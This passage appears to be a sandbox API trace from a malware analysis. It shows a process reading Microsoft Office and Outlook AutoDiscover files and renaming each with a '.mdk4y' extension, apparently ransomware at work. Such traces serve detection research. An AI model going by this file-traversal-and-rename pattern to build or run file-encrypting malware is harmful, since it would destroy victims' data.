[0230.798] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x28960, lpOverlapped=0x0) returned 1 [0230.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830608000000) returned 1 [0230.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830608000000) returned 1 [0230.852] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLCTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlctl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLCTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlctl.dll.mdk4y")) returned 1 [0230.855] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.855] AreFileApisANSI () returned 1 [0230.855] GetACP () returned 0x4e4 [0230.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLFLTR.DAT", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLFLTR.DAT", lpUsedDefaultChar=0x37dfd8) returned 12 [0230.855] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830608600000) returned 1 [0230.856] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0230.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830611300000) returned 1 [0230.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830611300000) returned 1 [0230.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.mdk4y")) returned 1 [0230.971] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0230.971] AreFileApisANSI () returned 1 [0230.971] GetACP () returned 0x4e4 [0230.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLFLTR.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLFLTR.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0230.971] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0230.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830620200000) returned 1 [0230.972] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xab940, lpOverlapped=0x0) returned 1 [0230.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830622400000) returned 1 [0230.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830622400000) returned 1 [0230.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dll.mdk4y")) returned 1 [0231.001] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0231.001] AreFileApisANSI () returned 1 [0231.001] GetACP () returned 0x4e4 [0231.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLMIME.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLMIME.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0231.001] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLMIME.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlmime.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0231.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830623200000) returned 1 [0231.003] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xaff88, lpOverlapped=0x0) returned 1 [0231.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830626000000) returned 1 [0231.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830626000000) returned 1 [0231.036] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLMIME.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlmime.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLMIME.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlmime.dll.mdk4y")) returned 1 [0231.039] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0231.039] AreFileApisANSI () returned 1 [0231.039] GetACP () returned 0x4e4 [0231.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.EXE", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLOOK.EXEL", lpUsedDefaultChar=0x37dfd8) returned 11 [0231.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0231.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830627000000) returned 1 [0231.040] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0231.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830651500000) returned 1 [0231.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830651500000) returned 1 [0231.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.mdk4y")) returned 1 [0231.328] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0231.328] AreFileApisANSI () returned 1 [0231.328] GetACP () returned 0x4e4 [0231.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.EXE.MANIFEST", cchWideChar=20, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OUTLOOK.EXE.MANIFESTdll", lpUsedDefaultChar=0x37dfd8) returned 20 [0231.328] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0231.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830655900000) returned 1 [0231.329] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x4b6, lpOverlapped=0x0) returned 1 [0231.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830661700000) returned 1 [0231.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830661700000) returned 1 [0231.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest.mdk4y")) returned 1 [0231.391] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0231.391] AreFileApisANSI () returned 1 [0231.391] GetACP () returned 0x4e4 [0231.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutlookAutoDiscover", cchWideChar=19, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OutlookAutoDiscoverT", lpUsedDefaultChar=0x37dfd8) returned 19 [0231.391] AreFileApisANSI () returned 1 [0231.391] GetACP () returned 0x4e4 [0231.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=63, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\k퀐l") returned 63 [0231.405] AreFileApisANSI () returned 1 [0231.405] GetACP () returned 0x4e4 [0231.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0231.405] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.421] AreFileApisANSI () returned 1 [0231.421] GetACP () returned 0x4e4 [0231.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0231.422] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.422] AreFileApisANSI () returned 1 [0231.422] GetACP () returned 0x4e4 [0231.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AMERITECH.NET.XML", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AMERITECH.NET.XML", lpUsedDefaultChar=0x37df4c) returned 17 [0231.422] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830665300000) returned 1 [0231.423] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x330, lpOverlapped=0x0) returned 1 [0231.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830666600000) returned 1 [0231.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830666600000) returned 1 [0231.436] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml.mdk4y")) returned 1 [0231.439] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.439] AreFileApisANSI () returned 1 [0231.439] GetACP () returned 0x4e4 [0231.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BTINTERNET.NET.XML", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BTINTERNET.NET.XMLm", lpUsedDefaultChar=0x37df4c) returned 18 [0231.439] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830667000000) returned 1 [0231.440] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x327, lpOverlapped=0x0) returned 1 [0231.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830669900000) returned 1 [0231.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830669900000) returned 1 [0231.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml.mdk4y")) returned 1 [0231.473] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.473] AreFileApisANSI () returned 1 [0231.473] GetACP () returned 0x4e4 [0231.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BTOPENWORLD.COM.XML", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BTOPENWORLD.COM.XML", lpUsedDefaultChar=0x37df4c) returned 19 [0231.473] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830670600000) returned 1 [0231.476] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x327, lpOverlapped=0x0) returned 1 [0231.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830671000000) returned 1 [0231.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830671000000) returned 1 [0231.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml.mdk4y")) returned 1 [0231.481] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.481] AreFileApisANSI () returned 1 [0231.482] GetACP () returned 0x4e4 [0231.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLASH.NET.XML", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLASH.NET.XMLOM.XML", lpUsedDefaultChar=0x37df4c) returned 13 [0231.482] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830671400000) returned 1 [0231.484] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x328, lpOverlapped=0x0) returned 1 [0231.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830672300000) returned 1 [0231.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830672300000) returned 1 [0231.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml.mdk4y")) returned 1 [0231.495] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.495] AreFileApisANSI () returned 1 [0231.495] GetACP () returned 0x4e4 [0231.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NL.ROGERS.COM.XML", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NL.ROGERS.COM.XMLML", lpUsedDefaultChar=0x37df4c) returned 17 [0231.496] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830672600000) returned 1 [0231.496] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x332, lpOverlapped=0x0) returned 1 [0231.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830679700000) returned 1 [0231.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830679700000) returned 1 [0231.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml.mdk4y")) returned 1 [0231.570] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.570] AreFileApisANSI () returned 1 [0231.570] GetACP () returned 0x4e4 [0231.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NVBELL.NET.XML", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NVBELL.NET.XMLXML", lpUsedDefaultChar=0x37df4c) returned 14 [0231.571] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830680200000) returned 1 [0231.572] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32a, lpOverlapped=0x0) returned 1 [0231.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830680300000) returned 1 [0231.573] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830680300000) returned 1 [0231.573] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml.mdk4y")) returned 1 [0231.576] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.576] AreFileApisANSI () returned 1 [0231.576] GetACP () returned 0x4e4 [0231.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PACBELL.NET.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PACBELL.NET.XMLML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830680600000) returned 1 [0231.577] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0231.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830682700000) returned 1 [0231.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830682700000) returned 1 [0231.597] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml.mdk4y")) returned 1 [0231.600] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.600] AreFileApisANSI () returned 1 [0231.600] GetACP () returned 0x4e4 [0231.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PRODIGY.NET.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PRODIGY.NET.XML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.600] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830683100000) returned 1 [0231.601] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0231.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830683200000) returned 1 [0231.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830683200000) returned 